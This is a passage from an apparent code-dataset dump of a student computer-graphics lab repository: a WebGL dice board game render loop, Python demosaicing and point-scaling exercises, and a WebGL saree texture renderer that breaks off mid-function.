updated = 1;\n play_dice = 0;\n x1 = posx1;y1 = posy1;\n }\n }\n \n }\n if(finish == 0 && turn == 2)\n {\n background(gl, programInfo, background_buffer, background_texture,[0,0,-20]);\n player_piece1(gl, programInfo, player1_buffer, player1_texture,posx1,posy1);\n player_piece2(gl, programInfo, player2_buffer, player2_texture,posx2,posy2);\n player(gl, programInfo, player2_buf, player2_texture);\n if (updated == 1 && play_dice == 0 && danim == 1)\n {\n dice = roll_die();\n [x2,y2,turn0]=play_turn(2,dice);\n play_dice = 1;\n danim = 0;\n updated = 0; \n } \n if(updated == 0 && play_dice == 1 && danim == 0)\n {\n if(scene <= 10)\n {\n const deltaTime = (now - then)/1000;\n then = now;\n drawDice(gl, programInfo, buffers, texture1,texture2,texture3,texture4,texture5,texture6,cubeRotation,deltaTime,ro[temp]);\n cubeRotation += deltaTime;\n if(cubeRotation > 0.3)\n {\n cubeRotation = 0.0;\n temp = Math.floor(Math.random()*3);\n scene = scene + 1;\n }\n }\n else\n {\n drawDice(gl,programInfo, buffers,texture,texture0,texture0,texture0,texture0,texture0,0,0,ro[2]);\n danim = 1;\n cubeRotation = 0.0;\n scene = 0;\n }\n }\n if((Math.abs(posx2-x2)>= 0.05 || Math.abs(posy2-y2)>=0.05)&& updated == 0 && danim == 1)\n {\n drawDice(gl,programInfo, buffers,texture,texture0,texture0,texture0,texture0,texture0,0,0,ro[2]);\n if(Math.abs(posx2-x2)>= 0.05)\n {\n if(posx2 < x2)\n posx2 = posx2 + 0.05;\n else posx2 = posx2 - 0.05;\n }\n else if(Math.abs(posy2-y2)>=0.05)\n {\n if(posy2 < y2)\n posy2 = posy2 + 0.05;\n else posy2 = posy2 - 0.05;\n }\n \n }\n if(Math.abs(posx2-x2)< 0.05 && Math.abs(posy2-y2)<0.05 && danim == 1 )\n {\n drawDice(gl,programInfo, buffers,texture,texture0,texture0,texture0,texture0,texture0,0,0,ro[2]);\n if(bonus[player2] != 0)\n {\n halt();\n player2 = bonus[player2];\n [x2,y2] = get_position(player2);\n }\n else\n {\n turn = turn0;\n updated = 1;\n play_dice = 0;\n x2 = posx2;y2 = posy2;\n }\n }\n \n }\n if(finish ==1 && updated == 0)\n {\n background(gl, programInfo, background_buffer, background_texture,[0,0,-20]);\n player_piece1(gl, programInfo, player1_buffer, player1_texture,posx1,posy1);\n player_piece2(gl, programInfo, player2_buffer, player2_texture,posx2,posy2);\n if((Math.abs(posx2-x2)>= 0.05 || Math.abs(posy2-y2)>=0.05)&& updated ==0)\n {\n if(Math.abs(posx2-x2)>= 0.05)\n {\n if(posx2 < x2)\n posx2 = posx2 + 0.05;\n else posx2 = posx2 - 0.05;\n }\n else if(Math.abs(posy2-y2)>=0.05)\n {\n if(posy2 < y2)\n posy2 = posy2 + 0.05;\n else posy2 = posy2 - 0.05;\n } \n }\n if(Math.abs(posx2-x2)< 0.05 && Math.abs(posy2-y2)<0.05 )\n updated = 1;\n if((Math.abs(posx1-x1)>= 0.05 || Math.abs(posy1-y1)>=0.05)&&updated == 0) \n {\n if(Math.abs(posx1-x1)>= 0.05)\n {\n if(posx1 < x1)\n posx1 = posx1 + 0.05;\n else posx1 = posx1 - 0.05;\n }\n else if(Math.abs(posy1-y1)>=0.1)\n {\n if(posy1 < y1)\n posy1 = posy1 + 0.05;\n else posy1 = posy1 - 0.05;\n } \n }\n if(Math.abs(posx1-x1)< 0.05 && Math.abs(posy1-y1)<0.05 )\n updated = 1;\n }\n else if(finish == 1 && updated ==1)\n {\n if(winner == 1)\n background(gl, programInfo, background_buffer,player1_texture ,[0,0,-20]);\n else\n background(gl, programInfo, background_buffer,player2_texture ,[0,0,-20]);\n }\n \n requestAnimationFrame(render);\n }\n requestAnimationFrame(render);\n\n}// end main\n\n"
},
{
"alpha_fraction": 0.4575278162956238,
"alphanum_fraction": 0.5319273471832275,
"avg_line_length": 31.788461685180664,
"blob_id": "b4554adf41e53469e109e43da4aa4d06eeebe361",
"content_id": "9a62c1fdebfd3203765dff6652347414802146b0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1707,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 52,
"path": "/Lab_2/filter.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import random\n\nr , c = 10 , 5 ;\nrvalue = [[ 0 for x in range(r)] for y in range(c)];\ngvalue = [[ 0 for x in range(r)] for y in range(c)];\nbvalue = [[ 0 for x in range(r)] for y in range(c)];\n\nfor i in range (5):\n\tfor j in range (10):\n\t\tif(i %2 == 0 and j%2 == 0):\n\t\t\trvalue[i][j] = random.randint(0,255)\n\t\t\tgvalue[i][j] = 0\n\t\t\tbvalue[i][j] = 0 \n\t\tif(i %2 == 0 and j%2 == 1):\n\t\t\tgvalue[i][j] = random.randint(0,255)\n\t\t\trvalue[i][j] = 0\n\t\t\tbvalue[i][j] = 0 \n\t\tif(i %2 == 1 and j%2 == 0):\n\t\t\tgvalue[i][j] = random.randint(0,255)\n\t\t\trvalue[i][j] = 0\n\t\t\tbvalue[i][j] = 0 \n\t\tif(i %2 == 1 and j%2 == 1):\n\t\t\tbvalue[i][j] = random.randint(0,255)\n\t\t\trvalue[i][j] = 0\n\t\t\tgvalue[i][j] = 0 \n\nprint rvalue\nprint gvalue\nprint bvalue\n\n# demosiacing\n\nfor i in range (1,4):\n\tfor j in range (1,9):\n\t\tif(i %2 == 0 and j%2 == 0):\n\t\t\tgvalue[i][j] = (gvalue[i-1][j]+gvalue[i][j-1]+gvalue[i][j+1]+gvalue[i+1][j])/4\n\t\t\tbvalue[i][j] = (bvalue[i-1][j-1]+bvalue[i-1][j+1]+bvalue[i+1][j+1]+bvalue[i+1][j-1])/4;\n\t\tif(i %2 == 0 and j%2 == 1):\n\t\t\tgvalue[i][j] = (gvalue[i-1][j-1]+gvalue[i-1][j+1]+gvalue[i+1][j+1]+gvalue[i+1][j-1]+gvalue[i][j])/5;\n\t\t\trvalue[i][j] = (rvalue[i][j-1]+rvalue[i][j+1])/2;\n\t\t\tbvalue[i][j] = (bvalue[i-1][j]+bvalue[i+1][j])/2;\n\t\tif(i %2 == 1 and j%2 == 0):\n\t\t\tgvalue[i][j] = (gvalue[i-1][j-1]+gvalue[i-1][j+1]+gvalue[i+1][j+1]+gvalue[i+1][j-1]+gvalue[i][j])/5;\n\t\t\trvalue[i][j] = (rvalue[i-1][j]+rvalue[i+1][j])/2;\n\t\t\tbvalue[i][j] = (bvalue[i][j-1]+bvalue[i][j+1])/2 \n\t\tif(i %2 == 1 and j%2 == 1):\n\t\t\trvalue[i][j] = (rvalue[i-1][j-1]+rvalue[i-1][j+1]+rvalue[i+1][j+1]+rvalue[i+1][j-1])/4;\n\t\t\tgvalue[i][j] = (gvalue[i-1][j]+gvalue[i][j-1]+gvalue[i][j+1]+gvalue[i+1][j])/4\n\nprint rvalue\nprint gvalue\nprint bvalue\n\n\n"
},
{
"alpha_fraction": 0.6378830075263977,
"alphanum_fraction": 0.6713091731071472,
"avg_line_length": 17.842105865478516,
"blob_id": "985cbb6b79ff1a7c7542009f2e973fb955bae000",
"content_id": "2b04e656e53229d43dd80963d9a6daed87978266",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 359,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 19,
"path": "/Lab_5/scaling.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import matplotlib.pyplot as plt\nimport math\n\n\ndef scale(x,y,sx,sy):\n\tplt.plot(x,y,marker = 'o')\n\tplt.plot(x*sx,y*sy,marker='o')\n\n\nprint \"enter the co-ordinates of point :\"\nx0 = input()\ny0 = input()\nprint \"enter the scaling factor with respect to x and y axis respectively :\"\nsx = input()\nsy = input()\n\nscale(x0,y0,sx,sy)\nplt.axis([-10,10,-10,10])\nplt.show()\n\n"
},
{
"alpha_fraction": 0.4699779450893402,
"alphanum_fraction": 0.5606778860092163,
"avg_line_length": 21.90322494506836,
"blob_id": "b9a8949df962b905150c92dbc19660eb2d58ca5e",
"content_id": "98f26285e9f45ed0c210a52469c10577474f4f9b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 21301,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 930,
"path": "/Lab_7/saree/saree.js",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "\nmain();\n\nfunction main() {\n const canvas = document.querySelector('#glcanvas');\n const gl = canvas.getContext('webgl');\n\n if (!gl) {\n alert('Unable to initialize WebGL. Your browser or machine may not support it.');\n return;\n }\n\n const vsSource = `\n attribute vec4 aVertexPosition;\n attribute vec2 aTextureCoord;\n\n uniform mat4 uModelViewMatrix;\n uniform mat4 uProjectionMatrix;\n\n varying highp vec2 vTextureCoord;\n\n void main(void) {\n gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;\n vTextureCoord = aTextureCoord;\n }\n `;\n\n const fsSource = `\n varying highp vec2 vTextureCoord;\n\n uniform sampler2D uSampler;\n\n void main(void) {\n gl_FragColor = texture2D(uSampler, vTextureCoord);\n }\n `;\n\n const shaderProgram = initShaderProgram(gl, vsSource, fsSource);\n\n const programInfo = {\n program: shaderProgram,\n attribLocations: {\n vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),\n textureCoord: gl.getAttribLocation(shaderProgram, 'aTextureCoord'),\n },\n uniformLocations: {\n projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),\n modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),\n uSampler: gl.getUniformLocation(shaderProgram, 'uSampler'),\n },\n };\n\n const buffers = initBuffers(gl);\n\n const texture = new Array(3);\n texture[0] = loadTexture(gl, 'back.png');\n texture[1] = loadTexture(gl, 'border.jpeg');\n texture[2] = loadTexture(gl, 'border.jpeg');\n texture[3] = loadTexture(gl, 'design.png');\n\n\n var then = 0;\n\n function render(now)\n {\n\n drawScene(gl, programInfo, buffers, texture);\n\n requestAnimationFrame(render);\n }\n requestAnimationFrame(render);\n}\n\n\nfunction initBuffers(gl) {\n\n const positionBuffer = gl.createBuffer();\n\n gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);\n\n const positions = [\n // saree background\n -5.0, -1.5, 1.5,\n 4.8, -1.5, 1.5,\n 4.8, 1.5, 1.5,\n -5.0, 1.5, 1.5,\n\n // lower borders\n -5.0, -1.5, 1.5,\n -5.0, -1.2, 1.5,\n -4.2, -1.2, 1.5,\n -4.2, -1.5, 1.5,\n\n -4.2, -1.5, 1.5,\n -4.2, -1.2, 1.5,\n -3.4, -1.2, 1.5,\n -3.4, -1.5, 1.5,\n\n -3.4, -1.5, 1.5,\n -3.4, -1.2, 1.5,\n -2.6, -1.2, 1.5,\n -2.6, -1.5, 1.5,\n\n -2.6, -1.5, 1.5,\n -2.6, -1.2, 1.5,\n -1.8, -1.2, 1.5,\n -1.8, -1.5, 1.5,\n\n -1.8, -1.5, 1.5,\n -1.8, -1.2, 1.5,\n -1.0, -1.2, 1.5,\n -1.0, -1.5, 1.5,\n\n -1.0, -1.5, 1.5,\n -1.0, -1.2, 1.5,\n -0.2, -1.2, 1.5,\n -0.2, -1.5, 1.5,\n\n -0.2, -1.5, 1.5,\n -0.2, -1.2, 1.5,\n 0.6, -1.2, 1.5,\n 0.6, -1.5, 1.5,\n\n 1.4, -1.5, 1.5,\n 1.4, -1.2, 1.5,\n 0.6, -1.2, 1.5,\n 0.6, -1.5, 1.5,\n\n 1.4, -1.5, 1.5,\n 1.4, -1.2, 1.5,\n 2.2, -1.2, 1.5,\n 2.2, -1.5, 1.5,\n\n 2.2, -1.5, 1.5,\n 2.2, -1.2, 1.5,\n 3.0, -1.2, 1.5,\n 3.0, -1.5, 1.5,\n\n 3.0, -1.5, 1.5,\n 3.0, -1.2, 1.5,\n 3.8, -1.2, 1.5,\n 3.8, -1.5, 1.5,\n\n 3.8, -1.5, 1.5,\n 3.8, -1.2, 1.5,\n 4.6, -1.2, 1.5,\n 4.6, -1.5, 1.5,\n\n // upper borders\n 0.0, 1.2, 1.5,\n 0.0, 1.5, 1.5,\n 0.8, 1.5, 1.5,\n 0.8, 1.2, 1.5,\n\n 0.8, 1.2, 1.5,\n 0.8, 1.5, 1.5,\n 1.6, 1.5, 1.5,\n 1.6, 1.2, 1.5,\n\n 1.6, 1.2, 1.5,\n 1.6, 1.5, 1.5,\n 2.4, 1.5, 1.5,\n 2.4, 1.2, 1.5,\n\n 2.4, 1.2, 1.5,\n 2.4, 1.5, 1.5,\n 3.2, 1.5, 1.5,\n 3.2, 1.2, 1.5,\n\n 3.2, 1.2, 1.5,\n 3.2, 1.5, 1.5,\n 4.0, 1.5, 1.5,\n 4.0, 1.2, 1.5,\n\n 4.0, 1.2, 1.5,\n 4.0, 1.5, 1.5,\n 4.8, 1.5, 1.5,\n 4.8, 1.2, 1.5,\n\n // side borders\n 4.8, 1.2, 1.5,\n 4.5, 1.2, 1.5,\n 4.5, 0.3, 1.5,\n 4.8, 0.3, 1.5,\n\n 4.8, 0.3, 1.5,\n 4.5, 0.3, 1.5,\n 4.5, -0.6, 1.5,\n 4.8, -0.6, 1.5,\n\n 4.8, -1.5, 1.5,\n 4.5, -1.5, 1.5,\n 4.5, -0.6, 1.5,\n 4.8, -0.6, 1.5,\n\n //design\n\n -4.5, -1.0, 1.5,\n -3.5, -1.0, 1.5,\n -3.5, 0.0, 1.5,\n -4.5, 0.0, 1.5,\n\n -3.0, 0.0, 1.5,\n -2.0, 0.0, 1.5,\n -2.0, 1.0, 1.5,\n -3.0, 1.0, 1.5,\n\n -1.5, -1.0, 1.5,\n -0.5, -1.0, 1.5,\n -0.5, 0.0, 1.5,\n -1.5, 0.0, 1.5,\n\n 0.0, 0.0, 1.5,\n 1.0, 0.0, 1.5,\n 1.0, 1.0, 1.5,\n 0.0, 1.0, 1.5,\n\n 1.5, -1.0, 1.5,\n 2.5, -1.0, 1.5,\n 2.5, 0.0, 1.5,\n 1.5, 0.0, 1.5,\n\n 3.0, 0.0, 1.5,\n 4.0, 0.0, 1.5,\n 4.0, 1.0, 1.5,\n 3.0, 1.0, 1.5,\n\n //upper border extension\n\n -0.8, 1.2, 1.5,\n -0.8, 1.5, 1.5,\n 0.0, 1.5, 1.5,\n 0.0, 1.2, 1.5,\n\n -1.6, 1.2, 1.5,\n -1.6, 1.5, 1.5,\n -0.8, 1.5, 1.5,\n -0.8, 1.2, 1.5,\n\n -2.4, 1.2, 1.5,\n -2.4, 1.5, 1.5,\n -1.6, 1.5, 1.5,\n -1.6, 1.2, 1.5,\n ];\n\n\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW);\n\n const textureCoordBuffer = gl.createBuffer();\n gl.bindBuffer(gl.ARRAY_BUFFER, textureCoordBuffer);\n\n const textureCoordinates = [\n // background cloth\n 0.0, 0.0,\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n\n\n //lower borders\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n // upper borders\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n // side borders\n 1.0, 1.0,\n 1.0, 0.0,\n 0.0, 0.0,\n 0.0, 1.0,\n\n 1.0, 1.0,\n 1.0, 0.0,\n 0.0, 0.0,\n 0.0, 1.0,\n\n 1.0, 1.0,\n 1.0, 0.0,\n 0.0, 0.0,\n 0.0, 1.0,\n\n //design\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n //upper border extension\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n 0.0, 0.0,\n ];\n\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(textureCoordinates),\n gl.STATIC_DRAW);\n\n\n const indexBuffer = gl.createBuffer();\n gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, indexBuffer);\n\n\n const indices = [\n 0, 1, 2, 0, 2, 3, // saree cloth\n 4, 5, 6, 4, 6, 7, // lower border\n 8, 9, 10, 8, 10, 11, // lower border\n 12, 13, 14, 12, 14, 15, // lower border\n 16, 17, 18, 16, 18, 19, // lower border\n 20, 21, 22, 20, 22, 23, // lower border\n 24, 25, 26, 24, 26, 27, // lower border\n 28, 29, 30, 28, 30, 31, // lower border\n 32, 33, 34, 32, 34, 35, // lower border\n 36, 37, 38, 36, 38, 39, // lower border\n 40, 41, 42, 40, 42, 43, // lower border\n 44, 45, 46, 44, 46, 47, // lower border\n 48, 49, 50, 48, 50, 51, // lower border\n 52, 53, 54, 52, 54, 55, // upper border\n 56, 57, 58, 56, 58, 59, // upper border\n 60, 61, 62, 60, 62, 63, // upper border\n 64, 65, 66, 64, 66, 67, // upper border\n 68, 69, 70, 68, 70, 71, // upper border\n 72, 73, 74, 72, 74, 75, // upper border\n 76, 77, 78, 76, 78, 79, // side border\n 80, 81, 82, 80, 82, 83, // side border\n 84, 85, 86, 84, 86, 87, // side border\n 88, 89, 90, 88, 90, 91, // design\n 92, 93, 94, 92, 94, 95, // design\n 96, 97, 98, 96, 98, 99, // design\n 100,101,102, 100,102,103, // design\n 104,105,106,\t104,106,107, // design\n 108,109,110,\t108,110,111, // design\n 112,113,114,\t112,114,115, // design\n\t116,117,118,\t116,118,119, // extension\n\t120,121,122,\t120,122,123, // extension\n\t124,125,126, 124,126,127, // extension\n ];\n\n\n gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,\n new Uint16Array(indices), gl.STATIC_DRAW);\n\n return {\n position: positionBuffer,\n textureCoord: textureCoordBuffer,\n indices: indexBuffer,\n };\n}\n\nfunction loadTexture(gl, url) {\n const texture = gl.createTexture();\n gl.bindTexture(gl.TEXTURE_2D, texture);\n\n const level = 0;\n const internalFormat = gl.RGBA;\n const width = 1;\n const height = 1;\n const border = 0;\n const srcFormat = gl.RGBA;\n const srcType = gl.UNSIGNED_BYTE;\n const pixel = new Uint8Array([0, 0, 255, 255]); \n gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,\n width, height, border, srcFormat, srcType,\n pixel);\n\n const image = new Image();\n image.onload = function() {\n gl.bindTexture(gl.TEXTURE_2D, texture);\n gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,\n srcFormat, srcType, image);\n\n if (isPowerOf2(image.width) && isPowerOf2(image.height)) {\n gl.generateMipmap(gl.TEXTURE_2D);\n } else {\n gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);\n gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);\n gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);\n }\n };\n image.src = url;\n\n return texture;\n}\n\nfunction isPowerOf2(value) {\n return (value & (value - 1)) == 0;\n}\n\nfunction drawScene(gl, programInfo, buffers, texture) {\n gl.clearColor(0.2, 0.2, 0.2, 1.0); // Clear to black, fully opaque\n gl.clearDepth(1.0); // Clear everything\n gl.enable(gl.DEPTH_TEST); // Enable depth testing\n gl.depthFunc(gl.LEQUAL); // Near things obscure far things\n\n // Clear the canvas before we start drawing on it.\n\n gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);\n\n\n const fieldOfView = 45 * Math.PI / 180; // in radians\n const aspect = gl.canvas.clientWidth / gl.canvas.clientHeight;\n const zNear = 0.1;\n const zFar = 100.0;\n const projectionMatrix = mat4.create();\n\n mat4.perspective(projectionMatrix,\n fieldOfView,\n aspect,\n zNear,\n zFar);\n\n const modelViewMatrix = mat4.create();\n\n\n mat4.translate(modelViewMatrix, // destination matrix\n modelViewMatrix, // matrix to translate\n [-0.0, 0.0, -6.0]); // amount to translate\n\n\n {\n const numComponents = 3;\n const type = gl.FLOAT;\n const normalize = false;\n const stride = 0;\n const offset = 0;\n gl.bindBuffer(gl.ARRAY_BUFFER, buffers.position);\n gl.vertexAttribPointer(\n programInfo.attribLocations.vertexPosition,\n numComponents,\n type,\n normalize,\n stride,\n offset);\n gl.enableVertexAttribArray(\n programInfo.attribLocations.vertexPosition);\n }\n\n {\n const numComponents = 2;\n const type = gl.FLOAT;\n const normalize = false;\n const stride = 0;\n const offset = 0;\n gl.bindBuffer(gl.ARRAY_BUFFER, buffers.textureCoord);\n gl.vertexAttribPointer(\n programInfo.attribLocations.textureCoord,\n numComponents,\n type,\n normalize,\n stride,\n offset);\n gl.enableVertexAttribArray(\n programInfo.attribLocations.textureCoord);\n }\n\n gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, buffers.indices);\n\n gl.useProgram(programInfo.program);\n\n gl.uniformMatrix4fv(\n programInfo.uniformLocations.projectionMatrix,\n false,\n projectionMatrix);\n gl.uniformMatrix4fv(\n programInfo.uniformLocations.modelViewMatrix,\n false,\n modelViewMatrix);\n\n gl.activeTexture(gl.TEXTURE0);\n gl.bindTexture(gl.TEXTURE_2D, texture[0]);\n gl.uniform1i(programInfo.uniformLocations.uSampler, 0);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 0;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n gl.activeTexture(gl.TEXTURE2);\n gl.bindTexture(gl.TEXTURE_2D, texture[2]);\n //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n // side borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 2);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 228;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n // side borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 2);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 240;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n // side borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 2);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 252;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n // lower borders\n gl.activeTexture(gl.TEXTURE1);\n gl.bindTexture(gl.TEXTURE_2D, texture[1]);\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 12;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n // lower borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 24;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n // lower borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 36;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n // lower borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 48;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n // lower borders\n gl.activeTexture(gl.TEXTURE1);\n gl.bindTexture(gl.TEXTURE_2D, texture[1]);\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 60;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n // lower borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 72;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n // lower borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 84;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n // lower borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 96;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n// lower borders\n gl.activeTexture(gl.TEXTURE1);\n gl.bindTexture(gl.TEXTURE_2D, texture[1]);\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 108;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n // lower borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 120;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n // lower borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 132;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n // lower borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 144;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n // upper borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 156;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n // upper borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 168;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n // upper borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 180;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n // upper borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 192;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n // upper borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 204;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n\n // upper borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 216;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n // upper borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 336;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n // upper borders\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 348;\n 